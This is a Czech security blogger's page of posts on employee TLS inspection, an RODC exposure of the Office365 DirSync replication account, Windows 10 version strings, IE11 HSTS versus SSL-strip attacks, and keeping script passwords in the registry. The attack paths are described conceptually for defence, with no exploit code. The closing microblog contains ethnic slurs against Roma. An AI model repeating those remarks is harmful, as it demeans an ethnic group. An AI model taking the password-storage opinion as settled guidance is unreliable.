
Už jsem se několikrát setkal s pocitem, že provádět ve firmě HTTPS/TLS inspekce (inspection) internetové komunikace zaměstnanců "nemůžete". Proč by ne? Vždyť je to stejné, jako inspekce jakékoliv jiné komunikace. Pocit z toho, že "nabouráváte" zašifrovanou komunikaci je jenom lichý pocit. Zaměstnanci jen pracují na technických prostředcích zaměstnavatele a možná do nich dobrovolně vkládají své osobní údaje...

Sledovat vs. sledovat

Sledovat není vždycky jedno slovo. Můžeme je "inspektovat" automaticky a to je potřeba zdůraznit. Naopak zaměstnance nemůžeme nechat "sledovat", abychom z toho my, nebo jiní zaměstnanci, následně získavali jejich osobní data.

HTTPS inspekce

Co je HTTPS inspekce nebo obecně SSL/TLS? Nějaké technické řešení, například na firewallu, nebo na proxy serveru, které dovoluje dešifrovat některé typy SSL/TLS šifrovaného spojení - obvykle lze dešifrovat taková spojení, která nejsou vzájemně ověřena (mutual authentication) pomocí klientského certifikátu (client certificate), nebo vazbou TLS tunelu na další vnitřní přihlašovací údaje (extended protection for authentication).

Dělá se to tak, že se "fejkuje" serverový certifikát. Krásný příklad je třeba můj oblíbený fiddler. Umí to například i TMG. Nebo by to mohlo zkoušet HTTPS/SSL strip útok, což teď už dlouho nepůjde díky HSTS.

Z toho pramení ten špatný pocit. Jenže ono o nic nejde. Je to stejné, jako když je ta komunikace nezašifrovaná - viz následující:

Zaměstnanec pracující na technických výpočetních prostředcích svého zaměstnavatele (jako jsou počítače :-)) na nich používá, ukládá a zpracovává i svoje osobní data, která zůstávají na počítačích, prochází připojenou sítí apod. Tohle se děje vždycky, i kdyby ten zaměstnanec nedělal nic "mimopracovního". Vždycky tam bude psát své jméno, telefonní číslo (které je mnohdy i pro osobní účely) apod. V textu mailů se mnohdy vyskytují různé soukromější hlášky jak mezi kolegy, tak i mimo firmu k zákazníkům a partnerům. V Exchange a SharePoint máte fotky. A samozřejmě tam dělají vždycky i mimopracovní věci.

Takže výpočetní prostředky zaměstnavatele v každém případě přicházejí do styku s osobními údaji zaměstnanců. Tečka.

Na hardware výpočetních prostředcích má zaměstnavatel různé software zabezpečovací prostředky, něco jako antivirus a různé ochrany proti přístupu na škodlivé stránky a jejich blokování apod. Tyto všechny software také přicházejí do styku s osobními údaji zaměstnanců. A potom jejich prostřednictvím tedy přicházejí do styku s osobními údaji zaměstnanců jiní zaměstnanci. Například spráci počítačů a sítí.

Ti si musí prohlížet logy komunikace, virů a blokování, protože to patří k jejich práci. Ne že mohou, ale musí. Dělají to proto, aby zabránili rizikům pro svého zaměstnavatele a celý business.

Jestliže někdo nakládá s mými osobními údaji, musí mě o tom informovat. Musí mi být schopen říct, jaké údaje uchovává a jaké údaje zpracovává a jak s nimi dlouhodobě nakládá a kdo s nimi může přijít do styku a musí zajistit, aby se nedostaly do nepovolaných rukou.

Bez ohledu na to, jestli jsou data ukládána a přenášena zašifrovaná, nebo nezašifrovaná, stejně musíte zaměstnancům přesně popsat, co se kde může ukládat a kdo k tomu může mít přístup. Tohle sepíšete, seznámíte je s tím a necháte jim to obvykle podepsat.

Takže kde je rozdíl mezi HTTP a HTTPS? Pokud byste například měli inspekci HTTP komunikace přímo v prohlížeči, tak budete inspektovat ještě dříve, než k zašifrování vůbec dojde a nemusíte mít ani špatný pocit z "podvádění certifikátů".

Vzorové a zkrácené seznámení s nakládáním s osobními údaji pracovníka

Článek XY - veškeré osobní údaje, které pracovník sám uvede do, nebo použije na výpočetních prostředcích zaměstnavatele mohou být uchovány. Zejména se jedná o uchovávání celých obsahů elektronické pošty v provozních databázích mailových systémů a v jejich zálohách, které se uchovávají po dobu xx měsíců. Jedná se dále o soubory uložené na lokálních a síťových úložištích a jejich zálohy xy atd.. Adresy a obsahy internetové komunikace mohou být buď celé, nebo z části uchovávány v protokolech zařízení, přes která komunikace prochází ...

Článek YZ - k osobním údajům uchovávaným podle předchozího článku mohou mít přístup ostatní zaměstnanci. Zejména k nim mají přístup správci výpočetní techniky a komunikačních sítí a dále všichni zaměstnanci pověření zaměstnavatelem k práci s daty, která mohou obsahovat stopy osobních údajů ostatních zaměstnanců.

Článek XZ - všechny osobní údaje, které pracovník sám do systémů vloží mohou být automaticky inspektovány a komunikace a data případně automaticky blokována za účelem snížení rizik na informační systémy a data zaměstnavatele i osobní data zaměstnanců samotných.

Článek AB - zaměstnavatel se zavazuje, že nikdy nepověří jiného zaměstnance, ani sám nebude z takto uchovávaných dat záměrně čerpat osobní údaje zaměstnanců, kromě osobních údajů, které si od zaměstnanců výslovně vyžádal (například fotka).

Článek BC - zaměstnavatel se zavazuje, že veškerá takto uchovávaná data, i taková která mohou obsahovat stopy osobních údajů, nebo vyžádané osobní údaje zaměstnanců, bude chránit v maximální možné míře dané okolnostmi, proti tomu, aby se dostala do nepovolaných rukou :-)

A je to

Jak to to nějaké zařízení dělá, že loguje provoz, je přece jen technický prostředek, jehož fungování nás politicky nezajímá.

srpen 05
Riziko které Office365 DirSync vnáší automaticky do každé domény s RODC

V červenci jsem dělal bezpečnostní audit jedné větší AD infrastruktury a jen tak mimochodem jsem objevil jednu velmi nepříjemnou věc. Vzniklo to v kombinaci RODC a Office365 DirSync nástroje. A byla to věc pekelně nepříjemná. Dokonce jsem to reportoval do MS, ale pánové to na security bouletin nepovažovali. Tvrdí, že předchozí kompromitace účtu (prior account compromise) nerovná se bezpečnostní zranitelnost (security vulnerability). Já taky ne.

Já si totiž myslím, že pokud instalační program Office365 DirSync sám takovou kompromitaci způsobuje, tak to je spíš pěkný průser.

Office365 DirSync a MSOL_ účet

DirSync pro Office365 je nástroj, který umí synchronizovat parametry uživatelských účtů z on-premisses Active Directory do Office365 Azure AD. Umí také vycucávat heše (hash) hesel přímo z AD a zapisovat je na účty v Office365 AAD, takže uživatelé mají stejné heslo jak v on-premisses tak v cloudu. A to může být právě ten kámen úrazu.

DirSync je ve skutečnosti FIM (Forefront Identity Manager) ořezaný o téměř všechny management agenty, takže umí pouze cucat z AD a z AAD. K tomu, aby mohl stahovat data z Active Directory používá uživatelský účet, kterému se musí na úrovni domény přidělit oprávnění (permission) pro replikaci.

Pokud nesynchronizujete hesla, stačí mu Replicate Directory Changes. To ho opravňuje, aby si stáhnul všechno z AD databáze, kromě tajný informací. Nemůže si stáhnou heše hesel, ani jiné confidential atributy. Confidentia attribute jsou třeba privátní klíče certifikátů při zapnutém Credentials Roamingu - msPKIAccountCredentials, nebo tajné údaje k TPM a BitLockeru - msTPM-OwnerInformation, nebo msFVE-RecoveryPassword a msFVE-KeyPackage, a nebo KDS klíče v atributech msKds-RootKeyData.

Pokud není synchronizace hesel, tak mu stačí jen v podstatě veřejné informace. To je ok.

Ale pokud děláte synchronizaci hesel, tak jeho replikační účet musí mít Replicate Directory Changes All oprávnění (permission). To si potom může stáhnout celý obsah AD. To zahrnuje heše hesel členů Domain Admins. To zahrnuje také heše účtu krbtgt, pomocí kterých se generují Kerberos tikety.

Pokud by se někomu podařilo získat heslo (nebo heš) k takovému DirSync účtu, stal by se okamžitě pánem celého AD forestu. Pomocí hash krbtgt účtu by si mohl vytvářet "zlaté Kerberos tikety" a pomocí hash účtů Domain Admins z libovolné jediné domény celého forestu by se stal pánem celého forestu.

Jen pro pořádek uveďme, že oprávnění Replicate Directory Changes ani Replicate Directory Changes All neumožňují do AD něco vložit - replikace je vždycky pouze download a žádná "push replikace" neexistuje.

Je tedy jasné, že DirSync účet je potřeba do krve chránit.

Jak k ochraně takového účtu přistupuje DirSync instalační program

Instalace DirSync si prostě takový účet sama vytvoří. Dá mu jméno MSOL_randomnumber a umístí ho nenápadně do CN=Users kontejneru. A neřekne vám o tom ani slovo.

To by ještě tak nevadilo, protože heslo k tomu účtu nezná nikdo jiný, než DirSync - je uloženo v jeho SQL databázi. Jenže opravdu ho nezná nikdo jiný?

A vstupuje do hry RODC

RODC jsou řadiče domény určené do nebezpečných provozů, kde je riziko kompromitace citlivých účtů. Proto se do RODC nereplikují ve výchozím stavu hesla (hash) účetů skupin jako jsou Domain Admins, Enterprise Admins, nebo právě krbtgt účtu. Pokud chcete, aby se tam nějaké účty (přesněji jejich heše) replikovaly, musíte je explicitně vyjmenovat. Můžete také pro některé skupiny explicitně zakázat replikaci. Zákaz je vždy silnější než povolení.

Tomu se říká Password replication policy pro RODC. Existuje skupina, která je ve výchozím stavu vynechána z replikace do RODC. Jmenuje se Denied RODC password replication group. Pokud do ní dáte nějaký účet, tak se jeho heslo (hash) do RODC nereplikuje. Jednoduché a efektivní.

A tady je to kouzlo. Nebo spíš průser. V onom prostředí měli v password replication policy pro jejich několik RODC vloženou skupinu Domain Users. Bezpečnostně to nevadilo, protože všechny citlivé účty měli explicitně zablokované. Takže v RODC byly jen necitlivé účty uživatelů, které tam byly oprávněně. Jistě, to jsem jim vytýkal už dřív, že je lepší tam dát nějakou konkrétní skupinu a ne rovnou Domain Users, ale co už, když blokují striktně ty nebezpečné účty.

Pokud o nich vědí.

Takže jsem zjistil, že se ten DirSync automatický MSOL_randomnumber účet replikuje na všechna jejich RODC. Při kompromitaci libovolného RODC by měli kompromitaci celého forestu.

Proč? Protože ten propracovaný DirSync instalátor vytváří automaticky ultra-super-účet, nikomu o tom neřekne a ani ho nedá do Denied RODC password replication group.

Jak zabezpečit DirSync pro Office365?

Pokud používáte DirSync a synchronizujete hesla, dávejte na to obzvláště pozor. Onen MSOL_somenumber účet je kritický, je roven skupině Domain Admins. Ideálně ho dejte rovnou do Denied RODC password replication group a dávejte na něho zvýšený pozor.

A samozřejmě si uvědomte, že musíte dát slušnou bezpečnost i tomu DirSync serveru. Stejnou, jakou dáváte ostatním řadičům domény (DC, domain controller). Pokud jim nějakou dáváte :-)

Tak dobrý den!

Nějaké moje další článečky o Office365 a DirSync najdete zde a zde například.

červen 15
Verzovní peklo na Windows 10 Technical Preview build 10074

Tak to je psycho. Při spuštění ver v příkazové řáce, nebo winver do okénka to hlásí nově verzi 10.0 build 10074, stejně jako WMI tabulka Win32_OperatingSystem a její hodnota Version.

Zatímco v registrech v klíči

HKLM\Software\Microsoft\Windows NT\CurrentVersion
CurrentVersion = REG_SZ = 6.3
CurrentBuild = REG_SZ = 10074

V předchozím buildu byla všude verze 6.4. Zřetelně se borci zaměřují na produkci mendejů, aby nemuseli nic dělat a místo toho filosofují nad kravinou, jakou verzi mají zvolit. Když už jsme u filosofie, tak tvrdím, že ta jednoduchá volba čísla 10 bude znamenat nekonečné problémy s miliónem programů. Představte si, že někdo bude třídit verze jako řetězce - ono to je totiž jako řetězec uloženo prakticky všude. Například v těch registrech a nebo v WMI class Win32_OperatingSystem. Je to proto, že v tom čísle bývá ještě build a to samozřejmě nejde dát do čísla (jako třeba tady).

Takže nastane to, co jsem si užil například s WMI a Hyper-V na Windows 2012 R2. Trvalo mi několik dnů, než jsem portnul svou implementaci z root/virtualization na root/virtualization/v2. V podstatě jenom proto, že přejmenovali půlku tabulek a jejich property. Žádnou novou extra funkcionalitu to nedostalo. Jenom to celé přejmenovali a přečíslovali hodnoty.

Takže zřejmě filosofické rozhodnutí bylo toto: "borci, nemůžem tomu dát jenom číslo 6.4. To by těm lidem všechno fungovalo a každej by pak tvrdil, že to je starej systém. Tak tomu dejte verzi 10 a každej se z toho opíchá. Vždycky můžem tvrdit, že to je jejich blbost, že už tisíc let třídí řetězce. Jo a vyřiďte borcům z Azure Active Directory Sync Tool aby si zase dali bacha, minule to porovnávali dokonce v regionálních zobrazeních".

Takže to je naprostý chaos. Jako nezlobte se na mě soudruzi, ale číslo verze je jedna z nejkritičtějších hodnot pro libovolnou aplikaci co se dá použít a na čem záleží skoro cokoliv.

Zkuste sami:

'6.3.9600' -gt '10.0.10074'
červen 15
Posun bezpečnosti IE 11 - s červnovou aktualizací dostáváte HSTS (HTTPS Strict Transport Security)

Tak nám MS přidal do Internet Explorer 11 lahůdku zvanou HSTS - tedy HTTPS Strict Transport Security. Stáhněte si kumulativní aktualizaci tady, nebo úplně přímo soubory aktualizace z Update Catalog. A přečtěte si, co to znamená a co to naopak neznamená.

Problém s SSL/TLS strip útokem

Obyčejné HTTPS, jen se serverovým certifikátem, je od jakživa náchylné na MITM útok. Protože klient nemá svůj vlastní certifikát, který by server vyžadoval, může se udělat HTTPS strip., neboli SSL strip, neboli TLS strip. V podstatě bezpečnost závisí na tom, jestli klient chce šifrované HTTPS, nebo je mu to jedno.

Pokud je to klientovi jedno, může se jednat o to nejsilnější TLS 1.2 spolu s PFS, a přitom se to dá krásně odposlouchávat. Proč?

Normální lidé píšou do prohlížeče jenom "www" adresu a nedávají do ní explicitně HTTPS prefix. Většina odkazů po webu a ve vyhledávačích vede také jen na čisté nezašifrované HTTP. Sám web server samozřejmě může poslat klientovi redirect (301/302). Jenže pokud klient nezačne rovnou na HTTPS, tak mu to MITM zakryje. Viz. obrázky.

Mělo by na nich být vidět HTTP redirect a samozřejmě absolutní odkazy (href), pokud jsou takto uvedeny ve zdrojovém HTML. Tohle je normální obsah paketů od web serveru.

Jenže v takovém případě MITM vidí klientův první požadavek na nezašifrovaném HTTP. Přepošle to na web server, klidně rovnou v šifrovaném HTTPS. Útočník se nemá proč bránit šifrovanému HTTPS mezi sebou a webovým serverem. Jenže cokoliv přijde od web serveru po šifrovaném HTTPS, z toho útočník prostě písmenko S odstraní a přepošle ke klientovi.

Klient se tak ani nedozví, že by měl/mohl vlastně šifrovat. Viz. další obrázek:

Snaha o udržení HTTPS

Řešením je snaha uživatele začít každé spojení rovnou na HTTPS. Útočník MITM potom nemá šanci do transakce vstoupit, protože není schopen podvrhnout platný certifikát skutečného serveru. MITM může samozřejmě zkusit vytvořit certifikát podvodný, ale ten (doufejme) na klientovi nebude platit a uživatel (doufejme) neodklikne varování o jeho nekvalitě :-)

V tomto se uživateli právě snaží prohlížeč pomoci sám. Pokud se stáhne webová stránka s HTTP hlavičkou Strict-Transport-Security, tak prohlížeč ví, že by měl už od příště chodit rovnou na HTTPS a nezkoušet to přes nezašifrované HTTP tak, jak si uživatel, nebo nějaký odkaz původně přeje. Prohlížeč si tuhle informaci nakešuje a příště už chodí rovnou na HTTPS.

Hlavičku (header) Strict-Transport-Security musí do HTTP odpovědí (response) přidávat rovnou web server, samozřejmě. Nakreslil jsem to na následujícím obrázku. Podstatná je také keš na klientovi, bez ní by to příště nefungovalo.

Preload list od gůglu

Od příště. To je přesně kámen úrazu. Pokud by v cestě byl MITM útoční už od prvního uživatelova přístupu přes nezašifrované HTTP, je samozřejmě schopen tyto hlavičky vymazat. Vytlumil by je tak stejně, jako udržuje klienta na nezašifrovaném HTTP a zakrývá mu HTTPS přístup.

Od toho má gůgl preload list. Webové sajty, které vědí, že samy implementují Strict-Transport-Security se tam rády zaregistrují. Zdá se, že je to zdarma. Samozřejmě je to zdarma, protože je to podobně jako 8.8.8.8 velmi vítaná metoda, jak sbírat marketingová data.

No ale znamená to, že prohlížeč ví o HTST stránkách dopředu rovnou ještě dříve, než se na ně vůbec pokusíte poprvé přistoupit. A tím se vás snaží o trošku více chránit. Doufejme, že se ten preload list stahuje do IEčka čas od času s nějakou aktualizací a ne až v okamžiku, kdy do té sajty přistupujete. To by nebyla moc ochrana proti MITM, že? Navíc by to dávalo gůglu ještě lepší marketingové info.

V textu support článku je prozatím napsáno že "Microsoft plans to update the preload list on a quarterly basis and deliver it in the corresponding Internet Explorer cumulative update". Tak otázka je, jak ty plány dopadnou :-)

Není to definitivní bezpečnost

Takže jak jistě vidíte sami, nejedná se o definitivní bezpečnost. Pro vnitřní web servery si samozřejmě můžete implementovat ověřováním TLS klientským certifikátem (něco o tom například zde, nebo tady), které je zajištěné bez ohledu na kvalitu prohlížeče.

Nicméně tohle HSTS je jistě příjemný posun.

červen 11
Jak moc nebezpečné je ukládat hesla přímo ve skriptu

Nedávno jsem tu psal o tom, jak uložit heslo přímo do PowerShell skriptu, aby se to neptalo pokaždé okénkem. Vznikla vcelku hojná odezva ohledně bezpečnosti samotného principu, jestli je vhodné to heslo ve skriptu uložit, a nebo jestli to nemít někde jinde "bezpečněji".

Proč to možná vadí

Mít heslo přímo ve skriptu zavání dvěma problémy:

  1. může ho někdo na tom počítači vidět přímo ve zdrojáku toho skriptu. Dostat se ke zdrojáku může buď lokálně po CTRL-ALT-DEL a RDP přihlášení, nebo přes síť, pokud je adresář se skriptem nasdílený
  2. pokud na to zapomenete a skript si někam překopírujete "jako do zálohy", tak si budete heslo ve skriptu nechtěně roznášet.

Problém číslo jedna nepovažuji za problém. Pokud adresář se skriptem správně zabezpečíte, není důvod obávat se, že se do něho dostane někdo nepovolaný. Logicky tedy adresář nastavte tak, aby se k němu dostali jen členové lokální skupiny Administrators. A případně další účty, které to potřebují, samozřejmě.

Dostatečně bezpečné řešení problému s náhodným přenosem souboru

Problém druhý, tedy neopatrnou manipulaci se souborem, která by heslo rozšířila na více míst, se dá vyřešit velice jednoduše. Prostě si udělejte v registrech klíč a hodnotu, do které to heslo natvrdo vložíte a ve skriptu ho přečtete. Registry nikam nekopírujete, takže skript bude úplně čistý.

Registrový klíč opět zabezpečíte tak, aby se do něho dostala jen skupina lokálních Administrators a případné další potřebné účty.

Diskuze bezpečnosti tohoto řešení

A je tohle tedy bezpečné? Jasně že je. Jestliže se do těch registrů dostane jen skupina Administrators, tak není nikdo jiný, kdo by si to jinak přečetl. Samozřejmě byste mohli využít nějaké jiné sofistikované řešení, jako je DPAPI, nebo LSA Secrets. Ale to jsou technologie, ze kterých to heslo stejně člen skupiny Administrators dostane bez jakýchkoliv problémů - viz. můj článek o vykrádání hesel naplánovaných úloh a služeb. Ty tohle přesně používají a přitom, jestli jste členem skupiny Adminitrators, heslo z nich taky dostanete.

 

1 - 14Next
>
 

 Rychlovky lepší než tvítr

 
3.9.2015 16:52
ha, se dívám, že v dubnu už skončil TMG mainstream support. Pomalu nám můj miláček odchází. Ale není všem dnům konec, to bude až 2020, takže ještě hodně síly.
1.9.2015 14:28
Lamb mango v restauraci Anapurna opet TOP
31.8.2015 9:01
Hackerfest uz za 29 dnu!
27.8.2015 17:37
no pěkně - Windows 10 - tiskárna Microsoft Print to PDF a BitLocker "Save recovery key to a file"

26.8.2015 8:47
RSATy na Windows 10 ke stažení: http://www.microsoft.com/en-us/download/details.aspx?id=45520
24.8.2015 8:14
pokus o odhlášení aukro spamlistu neuspěl - Internet Explorer has modified this page to help prevent cross-site scripting :-)
15.8.2015 9:49
Ano slibuji, ze na zaklade tolika zadosti prozkoumam a napisu taky neco k tomuhle clanku: http://aeronet.cz/news/analyza-windows-10-ve-svem-principu-jde-o-pouhy-terminal-na-sber-informaci-o-uzivateli-jeho-prstech-ocich-a-hlasu/
11.8.2015 18:43
Bezpecnostni incident prvni tridy. Jankuv bubinek z kapslovyho revolveru svitil na rentgenu jako vanocni stromecek :-)
6.8.2015 20:42
Ecofriendly handmade fairtrade biofood. Fekal.
29.7.2015 18:31
instalace win10 podle známého: http://www.cievo.sk/2015/07/31/upgrade-na-windows-10/
28.7.2015 14:30
Windows 10 entrpréza už se dounlouduje. Zajímalo by mě co jsou fíčrz on dymánd, je toho dalších 4GB
12.7.2015 13:13
Horda ciganu prijede do hotelu a recepcni se pta: "mate rezervaci?", "jsme snad indiani?"
5.7.2015 18:29
Lada s dennima. Stalin vedel, uz tenkrat
2.7.2015 22:32
skype for windows desktop je volitelná Windows 8.1 aktualizace. Tak to je maso.
2.7.2015 19:05
http://www.bbc.com/news/technology-33347866
2.7.2015 18:45
Plovarna v Edenu je plna cigosu. Az na to, ze to neni plovarna...
2.7.2015 12:48
jupi, Windows Server 2016 (build 10074) ma znovu DCPROMO pro unattended instalaci. Starsi build to nemel, tak me to trosku rozesmutnilo.
27.6.2015 20:49
Reacher je dneska zase sama perla :-)
15.6.2015 17:09
panebože. Tak to nejde. Oni opravdu udělali verzi Windows 10 jako: 10.0. Takže polovina programů nepojede, protože bude třídit verze podle abecedy. To je nápad hodný idiota.
14.6.2015 12:23
Za vcerejsek build HyperV "clusteru", a migrace 2x DC, 2x CA, 2x NPS a 2x DHCP z 2008 zelez na 2012r2 virtualky. Jsem vcelku rychlej.
10.6.2015 19:32
Nasemu otci nefunguje Microsoft, manzelce nejede internet (rozumnej Seznam) a dozvidam se ze komusi zavedli na chalupu google :-)
20.5.2015 8:08

Jůlin překladový slovník: ďáďa - Honzík, mamn - maminka, tata - fotr, papn - papat, kakn - kakat. Ukazuje se, že je to celkem dostatečná slovní zásoba.

18.5.2015 15:55

dneska super publikum na #TechEdDevCon! dekuju!

18.5.2015 7:20
Dneska zas slunce a TechEd, nemuze byt nic lepsiho!
17.5.2015 22:06

panebože, ten nový build Windows Server 2016 neobsahuje nabídku Start? Ježiš!